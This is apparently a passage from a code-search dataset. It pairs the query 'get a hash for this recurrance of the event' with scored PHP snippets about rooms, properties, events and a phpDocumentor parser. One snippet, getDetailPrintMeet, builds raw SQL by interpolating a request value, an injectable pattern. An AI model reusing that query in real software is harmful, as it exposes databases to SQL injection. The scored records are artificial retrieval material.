$rooms;\n\t}", "title": "" }, { "docid": "1298bc37eade0e56144f2bc220a7b23d", "score": "0.54184735", "text": "public function index()\n {\n // $properties = Property::all();\n // // $propertytype_ids = Propertytype_id::get();\n // // $propertycats = Propertycategory_id::get();\n // return response()->json(['properties' => $properties], 200);\n\n $properties = Property::paginate(5);\n return $properties;\n }", "title": "" }, { "docid": "86b95b7342b9e4bb4e2bd48f485fc118", "score": "0.54149145", "text": "function getDetailPrintMeet($pRoomId){\r\n $sql \t= \"\r\n select room.ROOM_FLOOR,\r\n \t\t\t room.ROOM_JENIS,\r\n \t\t\t room.ROOM_TYPE,\r\n \t\t\t to_char(room.ROOM_DATE,'dd/MM/yyyy') as ROOM_DATE,\r\n \t\t\t room.ROOM_SHOUR||':'||room.ROOM_SMINUTE as Star_hour,\r\n \t\t\t room.ROOM_EHOUR||':'||room.ROOM_EMINUTE as End_hour,\r\n \t\t\t room.ROOM_DESCRIPTION,\r\n \t\t\t room.ROOM_PARTICIPANT,\r\n \t\t\t room.ROOM_CONDITION,\r\n \t\t\t room.ROOM_COMMENT_GA,\r\n \t\t\t hr.ID,\r\n \t\t\t hr.NAME,\r\n \t\t\t hr.ORG,\r\n \t\t\t hr.JOB_POSITION\r\n \t\t\tfrom fm_meeting_room room left join hrs hr\r\n \t\t\t on room.ROOM_UNTUK_NIK = hr.ID\r\n \t\t\twhere room.room_id = '$pRoomId' \r\n \"; \r\n //echo $sql; //exit; \r\n $query = $this->db->query($sql);\r\n return $query->result_array();\r\n }", "title": "" }, { "docid": "0e9de19279ae00999ce457f1d4d9cc00", "score": "0.5413724", "text": "public static function loop_properties_by_ids($ids) {\n \n global $paged;\n if ( is_front_page() ) {\n $paged = (get_query_var('page')) ? get_query_var('page') : 1;\n }\n\n $tax_query = array();\n\n if ( isset( $_GET['tab'] ) && !empty($_GET['tab']) && $_GET['tab'] != \"reviews\") {\n $tax_query[] = array(\n 'taxonomy' => 'property_status',\n 'field' => 'slug',\n 'terms' => $_GET['tab']\n );\n }\n\n $args = array(\n 'post_type' => 'property',\n 'posts_per_page' => houzez_option('num_of_agency_listings', 9),\n 'paged' => $paged,\n 'post__in' => $ids,\n 'post_status' => 'publish'\n );\n\n $count = count($tax_query);\n if($count > 0 ) {\n $args['tax_query'] = $tax_query;\n }\n\n $args = houzez_prop_sort($args);\n\n $agency_qry = new WP_Query( $args );\n return $agency_qry;\n }", "title": "" }, { "docid": "42c39412bc3aaad1ccdba199a066bfb5", "score": "0.54097986", "text": "public function get_building_rooms($building_id){\n $this->db->where('building_id',$building_id);\n $this->db->order_by(\"name\",\"asc\");\n $result = $this->db->get('room');\n return $result->result_array();\n }", "title": "" }, { "docid": "341ef02caeba96807a300c903d96fd7d", "score": "0.54091424", "text": "public function show($id)\n {\n // $class = Class::get();\n $room = Room::find($id);\n\n return view('pages.room.show', compact(['room']));\n }", "title": "" }, { "docid": "722118d93d7ae27650021e8ac94e12b8", "score": "0.5405215", "text": "public function index()\n {\n $rooms = Room::all();\n // dd($rooms);\n return view('rooms.index', compact('rooms'));\n }", "title": "" }, { "docid": "e32a8ce1fde636fc7a1947529d48cc74", "score": "0.5398688", "text": "public function get_room_by_id($id) {\n $this->db->select('*');\n $this->db->from('sup_hotel_room_details');\n // $this->db->where('status', 1);\n $this->db->where('sup_room_details_id', $id);\n $query = $this->db->get();\n if ($query->num_rows > 0) {\n return $query->row();\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "ad95dc81e0d453bf23a39cd543c2e154", "score": "0.53940433", "text": "public function index()\n {\n $rooms = Room::Paginate(10);\n return view('admin.rooms.lists', compact('rooms'));\n }", "title": "" }, { "docid": "1765739a703ddf722b8b971ea191b174", "score": "0.538829", "text": "public function index()\n {\n $properties = Property::orderBy('id', 'DESC')->get();\n return view('admin.properties.index', [\n 'properties' => $properties\n ]);\n }", "title": "" }, { "docid": "b4a7b382099c2d21de4096201cea8507", "score": "0.5379606", "text": "public function filterProperties ()\n {\n // setto una variabile di controllo\n $search_ok = true;\n // CONTROLLO SE ESISTONO I VALORI LAT, LON, RADIUS.\n if (isset($_GET[\"lat_poi\"]) && isset($_GET[\"lon_poi\"]) && isset($_GET[\"radius\"])) {\n\n // CONTROLLO SE SONO STATI FLEGGATI EXTRAS\n if (isset($_GET[\"extras\"]) && $_GET[\"extras\"] > 0) {\n $extras_guest = $_GET['extras'];\n $extras_guest = explode(',', $extras_guest);\n } else {\n $extras_guest = null;\n }\n\n // CONTROLLO SE E' STATO SETTATO ROOMS\n if (isset($_GET[\"rooms\"])) {\n $rooms = $_GET['rooms'];\n } else {\n $rooms = 1;\n }\n\n // CONTROLLO SE E' STATO SETTATO BEDS\n if (isset($_GET[\"beds\"])) {\n $beds = $_GET['beds'];\n } else {\n $beds = 1;\n }\n\n // CONTROLLO SE E' STATO SETTATO METERS SQUARE\n if (isset($_GET[\"mq\"])) {\n $mq = $_GET['mq'];\n } else {\n $mq = 30;\n }\n\n // CONTROLLO SE E' STATO SETTATO BATHROOMS\n if (isset($_GET[\"bathrooms\"])) {\n $bathrooms = $_GET['bathrooms'];\n } else {\n $bathrooms = 1;\n }\n\n // FILTRO DISTANZA + ACTIVE + BEDS + ROOMS + PEOPLE + MQ + BATHROOMS\n $properties_filtered = Property::selectRaw(\"*,\n ( 6371 * acos( cos( radians(?) ) *\n cos( radians( latitude ) )\n * cos( radians( longitude ) - radians(?)\n ) + sin( radians(?) ) *\n sin( radians( latitude ) ) )\n ) AS distance\", [$_GET[\"lat_poi\"], $_GET[\"lon_poi\"], $_GET[\"lat_poi\"]])\n ->having('distance', '<', $_GET[\"radius\"])\n ->where('rooms_number', '>=', $rooms)\n ->where('beds_number', '>=', $beds)\n ->where('bathrooms_number', '>=', $bathrooms)\n ->where('square_meters','>=', $mq)\n ->where('active', 1)\n ->get(); // COLLECTION\n\n // controllo se esistono risultati altrimenti invio messaggio\n if (count($properties_filtered)) {\n\n // salvo il valore della data attuale in Carbon\n $now = Carbon::now();\n\n // ricavo un array di ids delle proprieta' sponsorizzate\n $ids_sponsored = DB::table('property_sponsor')\n ->where('end_sponsor', '>=', $now)\n ->select('property_id')\n ->get()\n ->toArray();\n // converto l'array da key : value a solo value\n $ids_sponsored_only_ids = [];\n for ($i=0; $i < count($ids_sponsored); $i++) {\n $ids_sponsored_only_ids[] = $ids_sponsored[$i]->property_id;\n }\n\n // CONTROLLO SE CI SONO EXTRAS ALTRIMENTI MANDO AL PROSSIMO PASSAGGIO DIRETTAMENTE\n if ($extras_guest != null) {\n // FILTRO PROPRIETA CHE HANNO EXTRAS RICHIESTI\n $properties_extra_filtered = [];\n\n // conto il numero degli extras che ha richiesto il guest\n $numb_req_extras = count($extras_guest);\n // ciclo le proprieta' gia' in parte filtrate\n foreach ($properties_filtered as $property) {\n // salvo un contatore che parte da 0\n $find_service = 0;\n // ciclo l'array degli extras scelti dall'utente\n foreach ($extras_guest as $extra_guest) {\n // ciclo l'array degli extras delle proprietà filtrate\n // e confronto i valori con quelli scelti dall'utente se e' valido aumento il contatore\n // altrimenti il dato viene scartato\n foreach ($property->extras as $extra) {\n if ($extra->id == $extra_guest) {\n $find_service++;\n }\n }\n }\n // inserisco in array la proprieta' che ha tutti i servizi\n if ($find_service == $numb_req_extras) {\n $properties_extra_filtered[] = $property->id; // ARRAY DI PROPRIETA'\n }\n }\n\n // INTERSEZIONE TRA ARRAY EXTRA E SPONSOR\n\n // FILTRO $properties_extra_filtered ottenendo solo i risultati che sono sponsorizzati\n $properties_extra_sponsored_ids = array_intersect($properties_extra_filtered,$ids_sponsored_only_ids);\n\n // FILTRO $properties_extra_filtered ottenendo solo i risultati che NON sono sponsorizzati\n $properties_extra_not_sponsored_ids = array_diff($properties_extra_filtered,$properties_extra_sponsored_ids);\n\n // richiedo i risultati a database degli array con id filtrati\n $properties_sponsored = Property::find($properties_extra_sponsored_ids)->all();\n $properties_not_sponsored = Property::find($properties_extra_not_sponsored_ids)->all();\n // dd($properties_sponsored, $properties_not_sponsored);\n\n } else {\n // OTTENGO DUE ARRAY CON APPARTAMENTI SPONSORIZZATI E NON\n\n // ottengo la lista degli appertamenti filtrati e sponsorizzati\n $properties_sponsored_obj = $properties_filtered->whereIn('id', $ids_sponsored_only_ids)->toArray();\n\n // Dump array with object-arrays\n $properties_sponsored = [];\n foreach($properties_sponsored_obj as $object){\n $properties_sponsored[] = $object;\n }\n\n\n // ottengo la lista degli appartamentifiltrati NON sponsorizzati\n $properties_not_sponsored_obj = $properties_filtered->whereNotIn('id', $ids_sponsored_only_ids);\n\n // Dump array with object-arrays\n $properties_not_sponsored = [];\n foreach($properties_not_sponsored_obj as $object){\n $properties_not_sponsored[] = $object;\n }\n\n // dd($ids_sponsored_only_ids, $properties_filtered, $properties_sponsored, $properties_not_sponsored);\n\n }\n } else {\n $search_ok = false;\n }\n } else {\n $search_ok = false;\n }\n\n // ritorna un JSON all'api\n if ($search_ok == true) {\n return Response::json(array('sponsored'=>$properties_sponsored,'not_sponsored'=>$properties_not_sponsored));\n\n // altrimenti ritorna nessun risultato\n } else {\n // return response()->json('Mi dispiace nessun risultato');\n return Response::json(['results' => 'La tua ricerca non ha prodotto alcun risultato'], 404);\n }\n }", "title": "" }, { "docid": "274afb2b54aad20cabc8279c49881f97", "score": "0.53777367", "text": "public function roomPropertyProvider()\n {\n $properties = $this->propertyProvider();\n\n foreach ($properties as &$property) {\n array_unshift($property, new Room());\n }\n\n return $properties;\n }", "title": "" }, { "docid": "bfb83ede0e378e96060a75266d14012a", "score": "0.5374495", "text": "public function rooms()\n\t{\n\t\t$user_id = Auth::user()->id;\n\t\t$res = Room::where('user_id', $user_id);\n\t\t$rooms = $res->paginate(5);\n $photos = [];\n foreach ($rooms as $room) {\n $photo = $room->photos()->first();\n $photos[] = $photo;\n }\n\t\t$count = $res->count();\n\t\treturn view('host.room.rooms', compact('count', 'rooms', 'photos'));\n\t}", "title": "" }, { "docid": "0f1a7b2dab0fdcee21dd3b9f50dec723", "score": "0.5374152", "text": "public function index($id)\n {\n\n $property = Property::find($id);\n $single = ['thumbnail', 'ipi1', 'ipi2', 'ipi3'];\n $ipi1 = Image::where('pno', $id)->where('name', 'like', '%' . $single[1] . '%')->first();\n $ipi2 = Image::where('pno', $id)->where('name', 'like', '%' . $single[2] . '%')->first();\n $ipi3 = Image::where('pno', $id)->where('name', 'like', '%' . $single[3] . '%')->first();\n $slider = Image::where('pno', $id)->where('name', 'like', '%slider%')->get();\n\n return view('single-place', ['property' => $property, 'ipi1' => $ipi1, 'ipi2' => $ipi2, 'ipi3' => $ipi3, 'slider' => $slider]);\n }", "title": "" }, { "docid": "710dd5f8c8b7c8f6017ac8f1be53465b", "score": "0.5369205", "text": "public function index()\n\n {\n $rooms = Rooms::all();\n return \\Illuminate\\Support\\Facades\\View::make('rooms.index',compact('rooms'));\n }", "title": "" }, { "docid": "1d32102dee79fde1927e2a900c0940ed", "score": "0.53672534", "text": "public function index() {\n \t$rooms = CeasRoom::where('type', '=', Input::get('type'))->orderBy('name')->get();\n \t$roomNumber = 0;\n \tforeach ($rooms as $room) {\n \t\t$room->roomNum = $roomNumber;\n \t\t$roomNumber++;\n \t}\n return $rooms;\n }", "title": "" } ]
d03299e1335404f861e7082b8e914d37
/ Begin event methods, TODO: mark deprecated and remove! get a hash for this recurrance of the event
[ { "docid": "1694363d5ddeffac61f33ae4b35602d4", "score": "0.5908169", "text": "public function getHash()\n {\n return md5(\n 'eventindex-' .\n $this->getEvent()->getHash() . '-' .\n $this->getStart() . '-' .\n $GLOBALS['TYPO3_CONF_VARS']['SYS']['encryptionKey']\n );\n }", "title": "" } ]
[ { "docid": "d943aff9a1593e3e3bd86e8d7bed9d85", "score": "0.63431066", "text": "public function getEventName();", "title": "" }, { "docid": "3dd1d44f10c724ca1b0cfed6d7edfe92", "score": "0.6288253", "text": "public function get_appended_events();", "title": "" }, { "docid": "bd9a92057b48daf7d5d8e5e9b356351a", "score": "0.6271447", "text": "public function getEvent();", "title": "" }, { "docid": "bd9a92057b48daf7d5d8e5e9b356351a", "score": "0.6271447", "text": "public function getEvent();", "title": "" }, { "docid": "bd9a92057b48daf7d5d8e5e9b356351a", "score": "0.6271447", "text": "public function getEvent();", "title": "" }, { "docid": "a7c4c9e85176fd39126b4d1333c6696f", "score": "0.62134767", "text": "public function getEvent()\n\t{\n\t\treturn $this->_event;\n\t}", "title": "" }, { "docid": "2a292859ef8547d18b53746d8f1c10e5", "score": "0.6202572", "text": "abstract protected function getEvents();", "title": "" }, { "docid": "6b1d3945fb6811d9c1363d5b6bcb0744", "score": "0.6143324", "text": "public abstract function getEvent();", "title": "" }, { "docid": "89c48f23ba829d6f4b95c762a14e2d22", "score": "0.6139416", "text": "public function event()\n {\n return $this->event;\n }", "title": "" }, { "docid": "89c48f23ba829d6f4b95c762a14e2d22", "score": "0.6139416", "text": "public function event()\n {\n return $this->event;\n }", "title": "" }, { "docid": "196c9179676f8b785d0f69f49a874e88", "score": "0.6134064", "text": "public function getEventName(): string;", "title": "" }, { "docid": "09fdef28423778d9b3c7b00c652d7988", "score": "0.60581535", "text": "public function getEvent() {\n\t\treturn $this->event;\n\t}", "title": "" }, { "docid": "2cb75a14a7618cdf85c934a08886071d", "score": "0.60552686", "text": "public function getEventData();", "title": "" }, { "docid": "58d53dbd644192553b5cd1d0758e344f", "score": "0.604427", "text": "function get_events() {\n\t\treturn $this->events;\n\t}", "title": "" }, { "docid": "bc5716c80f09f48a40ad382c92307b20", "score": "0.6003628", "text": "public function getEventId()\n {\n }", "title": "" }, { "docid": "9d880980bd1b9f3552cff7394a4e3c49", "score": "0.59686273", "text": "public function getEventMeta()\n {\n }", "title": "" }, { "docid": "d4de2213d0f51d338ecc29a672ef93e2", "score": "0.59334016", "text": "public function getEvent()\n {\n return $this->event;\n }", "title": "" }, { "docid": "d4de2213d0f51d338ecc29a672ef93e2", "score": "0.59334016", "text": "public function getEvent()\n {\n return $this->event;\n }", "title": "" }, { "docid": "d4de2213d0f51d338ecc29a672ef93e2", "score": "0.59334016", "text": "public function getEvent()\n {\n return $this->event;\n }", "title": "" }, { "docid": "d4de2213d0f51d338ecc29a672ef93e2", "score": "0.59334016", "text": "public function getEvent()\n {\n return $this->event;\n }", "title": "" }, { "docid": "d4de2213d0f51d338ecc29a672ef93e2", "score": "0.59334016", "text": "public function getEvent()\n {\n return $this->event;\n }", "title": "" }, { "docid": "d4de2213d0f51d338ecc29a672ef93e2", "score": "0.59334016", "text": "public function getEvent()\n {\n return $this->event;\n }", "title": "" }, { "docid": "d4de2213d0f51d338ecc29a672ef93e2", "score": "0.59334016", "text": "public function getEvent()\n {\n return $this->event;\n }", "title": "" }, { "docid": "d4de2213d0f51d338ecc29a672ef93e2", "score": "0.59334016", "text": "public function getEvent()\n {\n return $this->event;\n }", "title": "" }, { "docid": "d4de2213d0f51d338ecc29a672ef93e2", "score": "0.59334016", "text": "public function getEvent()\n {\n return $this->event;\n }", "title": "" }, { "docid": "7039bc230298e629edb342a5cd04073a", "score": "0.59185594", "text": "protected function get_event_name() {\n\t\treturn self::EVENT_NAME;\n\t}", "title": "" }, { "docid": "4ff7479a42ef3628ed82950d67224f52", "score": "0.5917115", "text": "public function key()\n {\n return key($this->events);\n }", "title": "" }, { "docid": "375fe2f20191b7c19eaa57cc538e2ecb", "score": "0.5896599", "text": "public function getEvent() {\n return $this->event;\n }", "title": "" }, { "docid": "375fe2f20191b7c19eaa57cc538e2ecb", "score": "0.5896599", "text": "public function getEvent() {\n return $this->event;\n }", "title": "" }, { "docid": "6bb223f6654c0d39b1688d11e23868bf", "score": "0.5888183", "text": "abstract public function events();", "title": "" }, { "docid": "5a5f34e4c147240f09898b0435acb207", "score": "0.58606935", "text": "function GetEvent()\n\t{\n\t\t$event = new Event();\n\t\treturn $event->Get($this->eventId);\n\t}", "title": "" }, { "docid": "0b2a531a6f8fe92c4bd999cf6fba68f1", "score": "0.5841002", "text": "function getEvent(){\n\t\tif(!empty($this->realEvent))\n\t\t\treturn $this->realEvent;\n\t\telse\n\t\t\treturn false;\n\t}", "title": "" }, { "docid": "ea031e6ee3f3ce3e9aa2672f73ce5cca", "score": "0.5830991", "text": "public function event(): string;", "title": "" }, { "docid": "b2ad6cb3638fced6ef2db22002dfc946", "score": "0.5823329", "text": "public static function HighLevelEvents() {return 2;}", "title": "" }, { "docid": "99c09e0d4a6032356a78b5bacc07aa87", "score": "0.58154297", "text": "public function getEventID() {\n return($this->eventID);\n }", "title": "" }, { "docid": "02feb777c7a46d455bec8da292c061e5", "score": "0.58046305", "text": "public function getEventId()\n {\n return Hash::get($this->data, 'id');\n }", "title": "" }, { "docid": "7175c027e84e882bb8bd1379cf4f511a", "score": "0.57905537", "text": "protected function eventAttributes(){\n\t\treturn array(\n\t\t\t'dueDate'=>EventLog::JOB_DUE,\n\t\t\t'printDate'=>EventLog::JOB_PRINT,\n\t\t\t'pickUpDate'=>EventLog::JOB_PICKUP,\n\t\t);\n\t}", "title": "" }, { "docid": "8b784f19987819d6abd9356e7d6de9de", "score": "0.5749526", "text": "public static function AllEvents() {return 4;}", "title": "" }, { "docid": "c7ddc91d1ef743a816ce33fedfe769bb", "score": "0.5739825", "text": "public static function getEventType(): string;", "title": "" }, { "docid": "a5d250280ebda46b4f21503f488d59a7", "score": "0.57389504", "text": "protected abstract function createEvent();", "title": "" }, { "docid": "3a4e0dab1b6ceea6d0d76fd13712452e", "score": "0.57323825", "text": "function get_event(){\n\t\tglobal $EM_Event;\n\t\tif( is_object($this->event) && get_class($this->event)=='EM_Event' && $this->event->event_id == $this->event_id ){\n\t\t\treturn $this->event;\n\t\t}elseif( is_object($EM_Event) && $EM_Event->event_id == $this->event_id ){\n\t\t\t$this->event = $EM_Event;\n\t\t}else{\n\t\t\t$this->event = em_get_event($this->event_id, 'event_id');\n\t\t}\n\t\treturn apply_filters('em_booking_get_event', $this->event, $this);\n\t}", "title": "" }, { "docid": "c6d20be6c88ec35f27457d508bdef703", "score": "0.5725606", "text": "public function get_event() {\n\t\treturn em_get_event( $this->event_id );\n\t}", "title": "" }, { "docid": "1e79d10bf380477271eb7eebbf336841", "score": "0.57043827", "text": "function getEvent()\n {\n return $this->getFieldValue('event');\n }", "title": "" }, { "docid": "63ccf484634a30381745425d4067c273", "score": "0.5693405", "text": "public function getEventState() {\n return($this->eventState);\n }", "title": "" }, { "docid": "cd4ed2c391ba8d923530923f9d52c34b", "score": "0.56893015", "text": "public function getEventID() {\r\n\t\treturn $this->event_id;\r\n\t}", "title": "" }, { "docid": "2bdbf4576aac863e7ed7542ab941ba6b", "score": "0.56379753", "text": "public function get_event_name();", "title": "" }, { "docid": "bb75ca8263a7d216005523a4e0ce9d67", "score": "0.56349623", "text": "abstract public function getEventClass();", "title": "" }, { "docid": "cf15ee9e5537c792a5ca4641c950cf69", "score": "0.5619719", "text": "public function getEvents();", "title": "" }, { "docid": "cf15ee9e5537c792a5ca4641c950cf69", "score": "0.5619719", "text": "public function getEvents();", "title": "" }, { "docid": "cf15ee9e5537c792a5ca4641c950cf69", "score": "0.5619719", "text": "public function getEvents();", "title": "" }, { "docid": "cf15ee9e5537c792a5ca4641c950cf69", "score": "0.5619719", "text": "public function getEvents();", "title": "" }, { "docid": "82d452fc2252dff53f0dd4b2a2fad87c", "score": "0.55980927", "text": "function bbp_digest_event() {\r\n\t/* Load translations */\r\n\tbbp_digest_load_textdomain();\r\n\t/* Load file with event function */\r\n\trequire_once( dirname( __FILE__ ) . '/inc/event.php' );\r\n\t/* Do event */\r\n\tbbp_digest_do_event();\r\n}", "title": "" }, { "docid": "128317798c1b479286c923386086ef42", "score": "0.5595125", "text": "public function event ( $event ) { return NULL; }", "title": "" }, { "docid": "dc321eba724ad0ecbedbc3a769ff7dc8", "score": "0.55742204", "text": "function setupEventStates()\n {\n if (!defined('T_DOC_COMMENT')) {\n define('T_DOC_COMMENT', T_DOC_COMMENT);\n }\n /**************************************************************/\n\n $this->wordpushEvent[PARSER_EVENT_LOGICBLOCK] = \n array(\n \"{\" => PARSER_EVENT_LOGICBLOCK,\n '\"' => PARSER_EVENT_QUOTE,\n );\n $this->tokenpushEvent[PARSER_EVENT_LOGICBLOCK] =\n array(\n T_GLOBAL => PARSER_EVENT_FUNC_GLOBAL,\n T_STATIC => PARSER_EVENT_STATIC_VAR,\n T_START_HEREDOC => PARSER_EVENT_EOFQUOTE,\n T_CURLY_OPEN => PARSER_EVENT_LOGICBLOCK,\n T_DOLLAR_OPEN_CURLY_BRACES => PARSER_EVENT_LOGICBLOCK,\n );\n\n $this->wordpopEvent[PARSER_EVENT_LOGICBLOCK] = array(\"}\");\n $this->tokenpopEvent[PARSER_EVENT_LOGICBLOCK] = array(T_CURLY_OPEN);\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_NOEVENTS] = \n array(\n T_OPEN_TAG => PARSER_EVENT_PHPCODE,\n );\n\n /**************************************************************/\n\n $this->tokenpopEvent[PARSER_EVENT_EOFQUOTE] = array(T_END_HEREDOC);\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_PHPCODE] = \n array(\n T_FUNCTION => PARSER_EVENT_FUNCTION,\n T_ABSTRACT => PARSER_EVENT_ACCESS_MODIFIER,\n T_CLASS => PARSER_EVENT_CLASS,\n T_INTERFACE => PARSER_EVENT_CLASS,\n T_INCLUDE_ONCE => PARSER_EVENT_INCLUDE,\n T_INCLUDE => PARSER_EVENT_INCLUDE,\n T_REQUIRE => PARSER_EVENT_INCLUDE,\n T_REQUIRE_ONCE => PARSER_EVENT_INCLUDE,\n T_COMMENT => PARSER_EVENT_DOCBLOCK,\n T_DOC_COMMENT => PARSER_EVENT_DOCBLOCK,\n //\"/**#@+\" => PARSER_EVENT_DOCBLOCK_TEMPLATE,\n //\"/**#@-*/\" => PARSER_EVENT_END_DOCBLOCK_TEMPLATE,\n T_CLOSE_TAG => PARSER_EVENT_OUTPHP,\n );\n $this->wordpushEvent[PARSER_EVENT_PHPCODE] =\n array(\n \"define\" => PARSER_EVENT_DEFINE,\n );\n /**************************************************************/\n\n $this->tokenpopEvent[PARSER_EVENT_OUTPHP] = array(T_OPEN_TAG);\n /**************************************************************/\n\n $this->wordpushEvent[PARSER_EVENT_FUNCTION] =\n array(\n '{' => PARSER_EVENT_LOGICBLOCK,\n '(' => PARSER_EVENT_FUNCTION_PARAMS,\n );\n $this->tokenpushEvent[PARSER_EVENT_FUNCTION] =\n array(\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n );\n\n $this->wordpopEvent[PARSER_EVENT_FUNCTION] = array(\"}\",';');\n /**************************************************************/\n\n $this->wordpopEvent[PARSER_EVENT_QUOTE] = array('\"');\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_FUNCTION_PARAMS] =\n array(\n T_VARIABLE => PARSER_EVENT_FUNCTION_PARAM_VAR,\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n );\n $this->wordpopEvent[PARSER_EVENT_FUNCTION_PARAMS] = array(\")\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_FUNCTION_PARAM_VAR] =\n array(\n T_CONSTANT_ENCAPSED_STRING => PARSER_EVENT_QUOTE,\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n T_ARRAY => PARSER_EVENT_ARRAY,\n );\n $this->wordpushEvent[PARSER_EVENT_FUNCTION_PARAM_VAR] =\n array(\n '\"' => PARSER_EVENT_QUOTE,\n \"'\" => PARSER_EVENT_QUOTE,\n );\n $this->wordpopEvent[PARSER_EVENT_FUNCTION_PARAM_VAR] = array(\",\", \")\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_ARRAY] = \n array(\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n );\n $this->wordpopEvent[PARSER_EVENT_ARRAY] = array(\")\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_VAR_ARRAY] = \n array(\n T_COMMENT => PARSER_EVENT_VAR_ARRAY_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_VAR_ARRAY_COMMENT,\n );\n $this->wordpopEvent[PARSER_EVENT_VAR_ARRAY] = array(\")\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_FUNC_GLOBAL] =\n array(\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n );\n $this->wordpopEvent[PARSER_EVENT_FUNC_GLOBAL] = array(\";\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_STATIC_VAR] =\n array(\n T_CONSTANT_ENCAPSED_STRING => PARSER_EVENT_QUOTE,\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n );\n $this->wordpushEvent[PARSER_EVENT_STATIC_VAR] =\n array(\n \"=\" => PARSER_EVENT_STATIC_VAR_VALUE,\n );\n $this->wordpopEvent[PARSER_EVENT_STATIC_VAR] = array(\";\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_STATIC_VAR_VALUE] = \n array(\n T_CONSTANT_ENCAPSED_STRING => PARSER_EVENT_QUOTE,\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n T_ARRAY => PARSER_EVENT_ARRAY,\n );\n $this->wordpushEvent[PARSER_EVENT_STATIC_VAR_VALUE] =\n array(\n '\"' => PARSER_EVENT_QUOTE,\n \"'\" => PARSER_EVENT_QUOTE,\n );\n $this->wordpopEvent[PARSER_EVENT_STATIC_VAR_VALUE] = array(\";\",\",\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_DEFINE] = \n array(\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n T_CONSTANT_ENCAPSED_STRING => PARSER_EVENT_QUOTE,\n );\n $this->wordpushEvent[PARSER_EVENT_DEFINE] = \n array(\n \"(\" => PARSER_EVENT_DEFINE_PARAMS,\n );\n $this->wordpopEvent[PARSER_EVENT_DEFINE] = array(\";\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_INCLUDE] = \n array(\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n );\n $this->wordpushEvent[PARSER_EVENT_INCLUDE] = \n array(\n \"(\" => PARSER_EVENT_INCLUDE_PARAMS,\n );\n $this->wordpopEvent[PARSER_EVENT_INCLUDE] = array(\";\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_DEFINE_PARAMS] = \n array(\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n T_START_HEREDOC => PARSER_EVENT_EOFQUOTE,\n );\n $this->wordpushEvent[PARSER_EVENT_DEFINE_PARAMS] = \n array(\n \"(\" => PARSER_EVENT_DEFINE_PARAMS_PARENTHESIS,\n '\"' => PARSER_EVENT_QUOTE,\n \"'\" => PARSER_EVENT_QUOTE,\n );\n $this->wordpopEvent[PARSER_EVENT_DEFINE_PARAMS] = array(\")\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_INCLUDE_PARAMS] = \n array(\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n );\n $this->wordpushEvent[PARSER_EVENT_INCLUDE_PARAMS] = \n array(\n \"(\" => PARSER_EVENT_INCLUDE_PARAMS_PARENTHESIS,\n );\n $this->wordpopEvent[PARSER_EVENT_INCLUDE_PARAMS] = array(\")\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_DEFINE_PARAMS_PARENTHESIS] =\n array(\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n );\n $this->wordpushEvent[PARSER_EVENT_DEFINE_PARAMS_PARENTHESIS] =\n array(\n \"(\" => PARSER_EVENT_DEFINE_PARAMS_PARENTHESIS,\n '\"' => PARSER_EVENT_QUOTE,\n \"'\" => PARSER_EVENT_QUOTE,\n );\n $this->wordpopEvent[PARSER_EVENT_DEFINE_PARAMS_PARENTHESIS] = array(\")\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_INCLUDE_PARAMS_PARENTHESIS] =\n array(\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n );\n $this->wordpushEvent[PARSER_EVENT_INCLUDE_PARAMS_PARENTHESIS] =\n array(\n \"(\" => PARSER_EVENT_INCLUDE_PARAMS_PARENTHESIS,\n );\n $this->wordpopEvent[PARSER_EVENT_INCLUDE_PARAMS_PARENTHESIS] = array(\")\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_VAR] = \n array(\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n T_ARRAY => PARSER_EVENT_VAR_ARRAY,\n );\n $this->wordpopEvent[PARSER_EVENT_VAR] = array(\";\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_CLASS_CONSTANT] = \n array(\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n T_ARRAY => PARSER_EVENT_VAR_ARRAY,\n );\n $this->wordpopEvent[PARSER_EVENT_CLASS_CONSTANT] = 